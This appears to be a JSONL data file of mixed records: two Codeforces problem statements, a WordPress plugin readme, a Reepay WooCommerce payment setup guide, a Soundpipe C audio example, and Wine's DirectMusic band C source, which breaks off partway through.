{"text": "You are given a permutation $$$p$$$ of length $$$n$$$.\n\nPlease count the number of permutations $$$q$$$ of length $$$n$$$ which satisfy the following:\n\n- for each $$$1 \\le i < n$$$, $$$\\max(q_1,\\ldots,q_i) \\neq \\max(p_1,\\ldots,p_i)$$$.\n\nSince the answer may be large, output the answer modulo $$$998\\,244\\,353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 103, "token_count_with_eod": 104, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Can be seen in use at: Top Categories\n- put the top_categories.php file in your plugins directory\nactivate the plugin\nmodify your template to include the following PHP:\nYou can pass in an optional numeric value like:\nto change the number of categories displayed. By default it shows the top 10 categories (by number of posts).", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "A guide on how to install and configure WooCommerce\nAt this point, you should already have a Reepay test or live account. If you do not have an account, please sign up.\nYou can sign up for a free account here. You can afterward convert it to a live Reepay account.\nInstallation and Configuration\nSee this video and follow the steps below:\n- Install the plugin to your Wordpress admin.\n- Click Activate Plugin.\n- Go to WooCommerce → Settings → Payments → Reepay Checkout.\n- Choose a title and description to be shown on the checkout page. For example:\nTitle: Online Payment\nDescription: Secure payment with Reepay.\n- Insert your API keys. Live API key is used for real payments, and test API key is only used for test payments. Insert your Private API key from your live Reepay account into the Live API key field. Insert your Private API key from your test Reepay account into the Test API key field.\nYou can find your private API keys in your Reepay Dashboard. Open a new tab and sign in here:\nGo to your live account and click Developers → API credentials → Click Generate New under Private API Keys → Copy the key and paste it in WooCommerce under Private key.\n- Choose between modal and window display.\n- Choose the payment methods you also have activated in Reepay. Hold ctrl/cmd while clicking on the different payment methods. This will list all the activated payment methods together in the Reepay payment window. You also have the option to create individual payment options in the WooCommerce checkout, by going to WooCommerce → Settings → Payments → and activating the different payment methods. E.g. Reepay - MobilePay. In this case, you can have individual rows directly in the WooCommerce checkout. For example:\n- Reepay Checkout. Title: Payment Cards\n- Reepay - MobilePay. Title: MobilePay Online\n- Reepay - ApplePay. Title: Apple Pay\n- Chose which settle option you would like to utilize. For further information please read: How to configure automatic settle in Wordpress/WooCommerce\n- Enable debug, for faster solutions if anything goes wrong.\n- Enable Save CC, to save credit cards to customers for their later use. If you are not approved by your acquirer to save cards, do not activate this option.\n- Enable Payment method icons for the same payment methods you enable in step 7.\n- Choose order status mapping between WooCommerce and Reepay. Recommended configuration:\n- Reepay Created = Pending payment\n- Reepay Authorized = Processing\n- Reepay Settled = Completed.\n- Click Save changes.\nShow your logo in the payment window\nOptional: Go into your Reepay Administration. Click Configuration → Checkout → Default Configuration → Edit → Scroll down and Upload a logo from your computer → Update Configuration.\nIf you have a security plugin installed make sure not to block Ireland as a country or just whitelist our webhook IP address: 22.214.171.124. This is very important since the plugin relies on webhooks.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 652, "token_count_with_eod": 653, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Qwerty the Ranger took up a government job and arrived on planet Mars. He should stay in the secret lab and conduct some experiments on bacteria that have funny and abnormal properties. The job isn't difficult, but the salary is high.\n\nAt the beginning of the first experiment there is a single bacterium in the test tube. Every second each bacterium in the test tube divides itself into k bacteria. After that some abnormal effects create b more bacteria in the test tube. Thus, if at the beginning of some second the test tube had x bacteria, then at the end of the second it will have kx + b bacteria.\n\nThe experiment showed that after n seconds there were exactly z bacteria and the experiment ended at this point.\n\nFor the second experiment Qwerty is going to sterilize the test tube and put there t bacteria. He hasn't started the experiment yet but he already wonders, how many seconds he will need to grow at least z bacteria. The ranger thinks that the bacteria will divide by the same rule as in the first experiment.\n\nHelp Qwerty and find the minimum number of seconds needed to get a tube with at least z bacteria in the second experiment.", "source": "cpt_codeforces", "language": "en", "token_count": 241, "token_count_with_eod": 242, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "#include \n#include \n#include \n#include \"soundpipe.h\"\n\ntypedef struct {\n sp_fosc *osc;\n sp_ftbl *ft; \n sp_jitter *jit;\n} UserData;\n\nvoid process(sp_data *sp, void *udata) {\n UserData *ud = udata;\n SPFLOAT jit = 0;\n sp_jitter_compute(sp, ud->jit, NULL, &jit);\n ud->osc->freq = sp_midi2cps(60 + jit);\n sp_fosc_compute(sp, ud->osc, NULL, &sp->out[0]);\n}\n\nint main() {\n srand(time(NULL));\n UserData ud;\n sp_data *sp;\n sp_create(&sp);\n sp_ftbl_create(sp, &ud.ft, 2048);\n sp_fosc_create(&ud.osc);\n sp_jitter_create(&ud.jit); \n\n sp_gen_sine(sp, ud.ft);\n sp_fosc_init(sp, ud.osc, ud.ft);\n sp_jitter_init(sp, ud.jit);\n ud.jit->cpsMin = 0.5;\n ud.jit->cpsMax = 4;\n ud.jit->amp = 3; \n sp->len = 44100 * 5;\n sp_process(sp, &ud, process);\n\n sp_ftbl_destroy(&ud.ft);\n sp_fosc_destroy(&ud.osc);\n sp_jitter_destroy(&ud.jit);\n\n sp_destroy(&sp);\n return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 366, "token_count_with_eod": 367, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "/* IDirectMusicBand Implementation\n *\n * Copyright (C) 2003-2004 Rok Mandeljc\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Library General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n */\n\n#include \"dmband_private.h\"\n\nWINE_DEFAULT_DEBUG_CHANNEL(dmband);\nWINE_DECLARE_DEBUG_CHANNEL(dmfile);\n\nconst GUID IID_IDirectMusicBandPRIVATE = {0xda54db81,0x837d,0x11d1,{0x86,0xbc,0x00,0xc0,0x4f,0xbf,0x8f,0xef}};\n\n/*****************************************************************************\n * IDirectMusicBandImpl implementation\n */\n/* IDirectMusicBandImpl IUnknown part: */\nHRESULT WINAPI IDirectMusicBandImpl_IUnknown_QueryInterface (LPUNKNOWN iface, REFIID riid, LPVOID *ppobj) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, UnknownVtbl, iface);\n\t\n\tTRACE(\"(%p, %s, %p)\\n\", This, debugstr_dmguid(riid), ppobj);\n\tif (IsEqualIID (riid, &IID_IUnknown)) {\n\t\t*ppobj = (LPVOID)&This->UnknownVtbl;\n\t\tIDirectMusicBandImpl_IUnknown_AddRef ((LPUNKNOWN)&This->UnknownVtbl);\n\t\treturn S_OK;\t\n\t} else if (IsEqualIID (riid, &IID_IDirectMusicBand)) {\n\t\t*ppobj = (LPVOID)&This->BandVtbl;\n\t\tIDirectMusicBandImpl_IDirectMusicBand_AddRef ((LPDIRECTMUSICBAND)&This->BandVtbl);\n\t\treturn S_OK;\n\t} else if (IsEqualIID (riid, &IID_IDirectMusicObject)) {\n\t\t*ppobj = (LPVOID)&This->ObjectVtbl;\n\t\tIDirectMusicBandImpl_IDirectMusicObject_AddRef ((LPDIRECTMUSICOBJECT)&This->ObjectVtbl);\t\t\n\t\treturn S_OK;\n\t} else if (IsEqualIID (riid, &IID_IPersistStream)) {\n\t\t*ppobj = (LPVOID)&This->PersistStreamVtbl;\n\t\tIDirectMusicBandImpl_IPersistStream_AddRef ((LPPERSISTSTREAM)&This->PersistStreamVtbl);\t\t\n\t\treturn S_OK;\n\t}\n\t\n\tWARN(\"(%p, %s, %p): not found\\n\", This, debugstr_dmguid(riid), ppobj);\n\treturn E_NOINTERFACE;\n}\n\nULONG WINAPI IDirectMusicBandImpl_IUnknown_AddRef (LPUNKNOWN iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, UnknownVtbl, iface);\n\tTRACE(\"(%p) : AddRef from %ld\\n\", This, This->ref);\n\treturn ++(This->ref);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IUnknown_Release (LPUNKNOWN iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, UnknownVtbl, iface);\n\tULONG ref = --This->ref;\n\tTRACE(\"(%p) : ReleaseRef to %ld\\n\", This, This->ref);\n\tif (ref == 0) {\n\t\tHeapFree(GetProcessHeap(), 0, This);\n\t}\n\treturn ref;\n}\n\nICOM_VTABLE(IUnknown) DirectMusicBand_Unknown_Vtbl = {\n ICOM_MSVTABLE_COMPAT_DummyRTTIVALUE\n\tIDirectMusicBandImpl_IUnknown_QueryInterface,\n\tIDirectMusicBandImpl_IUnknown_AddRef,\n\tIDirectMusicBandImpl_IUnknown_Release\n};\n\n/* IDirectMusicBandImpl IDirectMusicBand part: */\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicBand_QueryInterface (LPDIRECTMUSICBAND iface, REFIID riid, LPVOID *ppobj) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_QueryInterface ((LPUNKNOWN)&This->UnknownVtbl, riid, ppobj);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IDirectMusicBand_AddRef (LPDIRECTMUSICBAND iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_AddRef ((LPUNKNOWN)&This->UnknownVtbl);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IDirectMusicBand_Release (LPDIRECTMUSICBAND iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_Release ((LPUNKNOWN)&This->UnknownVtbl);\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicBand_CreateSegment (LPDIRECTMUSICBAND iface, IDirectMusicSegment** ppSegment) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\tFIXME(\"(%p, %p): stub\\n\", This, ppSegment);\n\treturn S_OK;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicBand_Download (LPDIRECTMUSICBAND iface, IDirectMusicPerformance* pPerformance) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\tFIXME(\"(%p, %p): stub\\n\", This, pPerformance);\n\treturn S_OK;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicBand_Unload (LPDIRECTMUSICBAND iface, IDirectMusicPerformance* pPerformance) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, BandVtbl, iface);\n\tFIXME(\"(%p, %p): stub\\n\", This, pPerformance);\n\treturn S_OK;\n}\n\nICOM_VTABLE(IDirectMusicBand) DirectMusicBand_Band_Vtbl = {\n ICOM_MSVTABLE_COMPAT_DummyRTTIVALUE\n\tIDirectMusicBandImpl_IDirectMusicBand_QueryInterface,\n\tIDirectMusicBandImpl_IDirectMusicBand_AddRef,\n\tIDirectMusicBandImpl_IDirectMusicBand_Release,\n\tIDirectMusicBandImpl_IDirectMusicBand_CreateSegment,\n\tIDirectMusicBandImpl_IDirectMusicBand_Download,\n\tIDirectMusicBandImpl_IDirectMusicBand_Unload\n};\n\n/* IDirectMusicBandImpl IDirectMusicObject part: */\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicObject_QueryInterface (LPDIRECTMUSICOBJECT iface, REFIID riid, LPVOID *ppobj) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, ObjectVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_QueryInterface ((LPUNKNOWN)&This->UnknownVtbl, riid, ppobj);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IDirectMusicObject_AddRef (LPDIRECTMUSICOBJECT iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, ObjectVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_AddRef ((LPUNKNOWN)&This->UnknownVtbl);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IDirectMusicObject_Release (LPDIRECTMUSICOBJECT iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, ObjectVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_Release ((LPUNKNOWN)&This->UnknownVtbl);\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicObject_GetDescriptor (LPDIRECTMUSICOBJECT iface, LPDMUS_OBJECTDESC pDesc) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, ObjectVtbl, iface);\n\tTRACE(\"(%p, %p)\\n\", This, pDesc);\n\t/* I think we shouldn't return pointer here since then values can be changed; it'd be a mess */\n\tmemcpy (pDesc, This->pDesc, This->pDesc->dwSize);\n\treturn S_OK;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicObject_SetDescriptor (LPDIRECTMUSICOBJECT iface, LPDMUS_OBJECTDESC pDesc) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, ObjectVtbl, iface);\n\tTRACE(\"(%p, %p): setting descriptor:\\n%s\\n\", This, pDesc, debugstr_DMUS_OBJECTDESC (pDesc));\n\t\n\t/* According to MSDN, we should copy only given values, not whole struct */\t\n\tif (pDesc->dwValidData & DMUS_OBJ_OBJECT)\n\t\tmemcpy (&This->pDesc->guidObject, &pDesc->guidObject, sizeof (pDesc->guidObject));\n\tif (pDesc->dwValidData & DMUS_OBJ_CLASS)\n\t\tmemcpy (&This->pDesc->guidClass, &pDesc->guidClass, sizeof (pDesc->guidClass));\t\t\n\tif (pDesc->dwValidData & DMUS_OBJ_NAME)\n\t\tstrncpyW (This->pDesc->wszName, pDesc->wszName, DMUS_MAX_NAME);\n\tif (pDesc->dwValidData & DMUS_OBJ_CATEGORY)\n\t\tstrncpyW (This->pDesc->wszCategory, pDesc->wszCategory, DMUS_MAX_CATEGORY);\t\t\n\tif (pDesc->dwValidData & DMUS_OBJ_FILENAME)\n\t\tstrncpyW (This->pDesc->wszFileName, pDesc->wszFileName, DMUS_MAX_FILENAME);\t\t\n\tif (pDesc->dwValidData & DMUS_OBJ_VERSION)\n\t\tmemcpy (&This->pDesc->vVersion, &pDesc->vVersion, sizeof (pDesc->vVersion));\t\t\t\t\n\tif (pDesc->dwValidData & DMUS_OBJ_DATE)\n\t\tmemcpy (&This->pDesc->ftDate, &pDesc->ftDate, sizeof (pDesc->ftDate));\t\t\t\t\n\tif (pDesc->dwValidData & DMUS_OBJ_MEMORY) {\n\t\tmemcpy (&This->pDesc->llMemLength, &pDesc->llMemLength, sizeof (pDesc->llMemLength));\t\t\t\t\n\t\tmemcpy (This->pDesc->pbMemData, pDesc->pbMemData, sizeof (pDesc->pbMemData));\n\t}\n\tif (pDesc->dwValidData & DMUS_OBJ_STREAM) {\n\t\t/* according to MSDN, we copy the stream */\n\t\tIStream_Clone (pDesc->pStream, &This->pDesc->pStream);\t\n\t}\n\t\n\t/* add new flags */\n\tThis->pDesc->dwValidData |= pDesc->dwValidData;\n\n\treturn S_OK;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IDirectMusicObject_ParseDescriptor (LPDIRECTMUSICOBJECT iface, LPSTREAM pStream, LPDMUS_OBJECTDESC pDesc) {\n\tDMUS_PRIVATE_CHUNK Chunk;\n\tDWORD StreamSize, StreamCount, ListSize[1], ListCount[1];\n\tLARGE_INTEGER liMove; /* used when skipping chunks */\n\n\tTRACE(\"(%p, %p)\\n\", pStream, pDesc);\n\t\n\t/* FIXME: should this be determined from stream? */\n\tpDesc->dwValidData |= DMUS_OBJ_CLASS;\n\tmemcpy (&pDesc->guidClass, &CLSID_DirectMusicBand, sizeof(CLSID));\n\t\n\tIStream_Read (pStream, &Chunk, sizeof(FOURCC)+sizeof(DWORD), NULL);\n\tTRACE_(dmfile)(\": %s chunk (size = 0x%04lx)\", debugstr_fourcc (Chunk.fccID), Chunk.dwSize);\n\tswitch (Chunk.fccID) {\t\n\t\tcase FOURCC_RIFF: {\n\t\t\tIStream_Read (pStream, &Chunk.fccID, sizeof(FOURCC), NULL);\t\t\t\t\n\t\t\tTRACE_(dmfile)(\": RIFF chunk of type %s\", debugstr_fourcc(Chunk.fccID));\n\t\t\tStreamSize = Chunk.dwSize - sizeof(FOURCC);\n\t\t\tStreamCount = 0;\n\t\t\tif (Chunk.fccID == DMUS_FOURCC_BAND_FORM) {\n\t\t\t\tTRACE_(dmfile)(\": band form\\n\");\n\t\t\t\tdo {\n\t\t\t\t\tIStream_Read (pStream, &Chunk, sizeof(FOURCC)+sizeof(DWORD), NULL);\n\t\t\t\t\tStreamCount += sizeof(FOURCC) + sizeof(DWORD) + Chunk.dwSize;\n\t\t\t\t\tTRACE_(dmfile)(\": %s chunk (size = 0x%04lx)\", debugstr_fourcc (Chunk.fccID), Chunk.dwSize);\n\t\t\t\t\tswitch (Chunk.fccID) {\n\t\t\t\t\t\tcase DMUS_FOURCC_GUID_CHUNK: {\n\t\t\t\t\t\t\tTRACE_(dmfile)(\": GUID chunk\\n\");\n\t\t\t\t\t\t\tpDesc->dwValidData |= DMUS_OBJ_OBJECT;\n\t\t\t\t\t\t\tIStream_Read (pStream, &pDesc->guidObject, Chunk.dwSize, NULL);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcase DMUS_FOURCC_VERSION_CHUNK: {\n\t\t\t\t\t\t\tTRACE_(dmfile)(\": version chunk\\n\");\n\t\t\t\t\t\t\tpDesc->dwValidData |= DMUS_OBJ_VERSION;\n\t\t\t\t\t\t\tIStream_Read (pStream, &pDesc->vVersion, Chunk.dwSize, NULL);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcase DMUS_FOURCC_CATEGORY_CHUNK: {\n\t\t\t\t\t\t\tTRACE_(dmfile)(\": category chunk\\n\");\n\t\t\t\t\t\t\tpDesc->dwValidData |= DMUS_OBJ_CATEGORY;\n\t\t\t\t\t\t\tIStream_Read (pStream, pDesc->wszCategory, Chunk.dwSize, NULL);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcase FOURCC_LIST: {\n\t\t\t\t\t\t\tIStream_Read (pStream, &Chunk.fccID, sizeof(FOURCC), NULL);\t\t\t\t\n\t\t\t\t\t\t\tTRACE_(dmfile)(\": LIST chunk of type %s\", debugstr_fourcc(Chunk.fccID));\n\t\t\t\t\t\t\tListSize[0] = Chunk.dwSize - sizeof(FOURCC);\n\t\t\t\t\t\t\tListCount[0] = 0;\n\t\t\t\t\t\t\tswitch (Chunk.fccID) {\n\t\t\t\t\t\t\t\t/* evil M$ UNFO list, which can (!?) contain INFO elements */\n\t\t\t\t\t\t\t\tcase DMUS_FOURCC_UNFO_LIST: {\n\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": UNFO list\\n\");\n\t\t\t\t\t\t\t\t\tdo {\n\t\t\t\t\t\t\t\t\t\tIStream_Read (pStream, &Chunk, sizeof(FOURCC)+sizeof(DWORD), NULL);\n\t\t\t\t\t\t\t\t\t\tListCount[0] += sizeof(FOURCC) + sizeof(DWORD) + Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": %s chunk (size = 0x%04lx)\", debugstr_fourcc (Chunk.fccID), Chunk.dwSize);\n\t\t\t\t\t\t\t\t\t\tswitch (Chunk.fccID) {\n\t\t\t\t\t\t\t\t\t\t\t/* don't ask me why, but M$ puts INFO elements in UNFO list sometimes\n (though strings seem to be valid unicode) */\n\t\t\t\t\t\t\t\t\t\t\tcase mmioFOURCC('I','N','A','M'):\n\t\t\t\t\t\t\t\t\t\t\tcase DMUS_FOURCC_UNAM_CHUNK: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": name chunk\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tpDesc->dwValidData |= DMUS_OBJ_NAME;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Read (pStream, pDesc->wszName, Chunk.dwSize, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tcase mmioFOURCC('I','A','R','T'):\n\t\t\t\t\t\t\t\t\t\t\tcase DMUS_FOURCC_UART_CHUNK: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": artist chunk (ignored)\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tcase mmioFOURCC('I','C','O','P'):\n\t\t\t\t\t\t\t\t\t\t\tcase DMUS_FOURCC_UCOP_CHUNK: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": copyright chunk (ignored)\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tcase mmioFOURCC('I','S','B','J'):\n\t\t\t\t\t\t\t\t\t\t\tcase DMUS_FOURCC_USBJ_CHUNK: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": subject chunk (ignored)\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tcase mmioFOURCC('I','C','M','T'):\n\t\t\t\t\t\t\t\t\t\t\tcase DMUS_FOURCC_UCMT_CHUNK: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": comment chunk (ignored)\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tdefault: {\n\t\t\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": unknown chunk (irrevelant & skipping)\\n\");\n\t\t\t\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": ListCount[0] = %ld < ListSize[0] = %ld\\n\", ListCount[0], ListSize[0]);\n\t\t\t\t\t\t\t\t\t} while (ListCount[0] < ListSize[0]);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tdefault: {\n\t\t\t\t\t\t\t\t\tTRACE_(dmfile)(\": unknown (skipping)\\n\");\n\t\t\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize - sizeof(FOURCC);\n\t\t\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\t\t\tbreak;\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\t\n\t\t\t\t\t\tdefault: {\n\t\t\t\t\t\t\tTRACE_(dmfile)(\": unknown chunk (irrevelant & skipping)\\n\");\n\t\t\t\t\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\t\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL);\n\t\t\t\t\t\t\tbreak;\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tTRACE_(dmfile)(\": StreamCount[0] = %ld < StreamSize[0] = %ld\\n\", StreamCount, StreamSize);\n\t\t\t\t} while (StreamCount < StreamSize);\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t\tTRACE_(dmfile)(\": unexpected chunk; loading failed)\\n\");\n\t\t\t\tliMove.QuadPart = StreamSize;\n\t\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL); /* skip the rest of the chunk */\n\t\t\t\treturn E_FAIL;\n\t\t\t}\n\t\t\n\t\t\tTRACE_(dmfile)(\": reading finished\\n\");\n\t\t\tbreak;\n\t\t}\n\t\tdefault: {\n\t\t\tTRACE_(dmfile)(\": unexpected chunk; loading failed)\\n\");\n\t\t\tliMove.QuadPart = Chunk.dwSize;\n\t\t\tIStream_Seek (pStream, liMove, STREAM_SEEK_CUR, NULL); /* skip the rest of the chunk */\n\t\t\treturn DMUS_E_INVALIDFILE;\n\t\t}\n\t}\t\n\t\n\tTRACE(\": returning descriptor:\\n%s\\n\", debugstr_DMUS_OBJECTDESC (pDesc));\n\t\n\treturn S_OK;\n}\n\nICOM_VTABLE(IDirectMusicObject) DirectMusicBand_Object_Vtbl = {\n ICOM_MSVTABLE_COMPAT_DummyRTTIVALUE\n\tIDirectMusicBandImpl_IDirectMusicObject_QueryInterface,\n\tIDirectMusicBandImpl_IDirectMusicObject_AddRef,\n\tIDirectMusicBandImpl_IDirectMusicObject_Release,\n\tIDirectMusicBandImpl_IDirectMusicObject_GetDescriptor,\n\tIDirectMusicBandImpl_IDirectMusicObject_SetDescriptor,\n\tIDirectMusicBandImpl_IDirectMusicObject_ParseDescriptor\n};\n\n/* IDirectMusicBandImpl IPersistStream part: */\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_QueryInterface (LPPERSISTSTREAM iface, REFIID riid, LPVOID *ppobj) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, PersistStreamVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_QueryInterface ((LPUNKNOWN)&This->UnknownVtbl, riid, ppobj);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IPersistStream_AddRef (LPPERSISTSTREAM iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, PersistStreamVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_AddRef ((LPUNKNOWN)&This->UnknownVtbl);\n}\n\nULONG WINAPI IDirectMusicBandImpl_IPersistStream_Release (LPPERSISTSTREAM iface) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, PersistStreamVtbl, iface);\n\treturn IDirectMusicBandImpl_IUnknown_Release ((LPUNKNOWN)&This->UnknownVtbl);\t\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_GetClassID (LPPERSISTSTREAM iface, CLSID* pClassID) {\n\treturn E_NOTIMPL;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_IsDirty (LPPERSISTSTREAM iface) {\n\treturn E_NOTIMPL;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_Load (LPPERSISTSTREAM iface, IStream* pStm) {\n\tICOM_THIS_MULTI(IDirectMusicBandImpl, PersistStreamVtbl, iface);\n\tFIXME(\"(%p,%p): loading not implemented yet\\n\", This, pStm);\n\treturn S_OK;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_Save (LPPERSISTSTREAM iface, IStream* pStm, BOOL fClearDirty) {\n\treturn E_NOTIMPL;\n}\n\nHRESULT WINAPI IDirectMusicBandImpl_IPersistStream_GetSizeMax (LPPERSISTSTREAM iface, ULARGE_INTEGER* pcbSize) {\n\treturn E_NOTIMPL;\n}\n\nICOM_VTABLE(IPersistStream) DirectMusicBand_PersistStream_Vtbl = {\n ICOM_MSVTABLE_COMPAT_DummyRTTIVALUE\n\tIDirectMusicBandImpl_IPersistStream_QueryInterface,\n\tIDirectMusicBandImpl_IPersistStream_AddRef,\n\tIDirectMusicBandImpl_IPersistStream_Release,\n\tIDirectMusicBandImpl_IPersistStream_GetClassID,\n\tIDirectMusicBandImpl_IPersistStream_IsDirty,\n\tIDirectMusicBandImpl_IPersistStream_Load,\n\tIDirectMusicBandImpl_IPersistStream_Save,\n\tIDirectMusicBandImpl_IPersistStream_GetSizeMax\n};\n\n/* for ClassFactory */\nHRESULT WINAPI DMUSIC_CreateDirectMusicBandImpl (LPCGUID lpcGUID, LPVOID* ppobj, LPUNKNOWN pUnkOuter) {\n\tIDirectMusicBandImpl* obj;\n\t\n\tobj = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(IDirectMusicBandImpl));\n\tif (NULL == obj) {\n\t\t*ppobj = (LPVOID) NULL;\n\t\treturn E_OUTOFMEMORY;\n\t}\n\tobj->UnknownVtbl = &DirectMusicBand_Unknown_Vtbl;\n\tobj->BandVtbl = &DirectMusicBand_Band_Vtbl;\n\tobj->ObjectVtbl = &DirectMusicBand_Object_Vtbl;\n\tobj->PersistStreamVtbl = &DirectMusicBand_PersistStream_Vtbl;\n\tobj->pDesc = HeapAlloc(GetProcessHeap(), 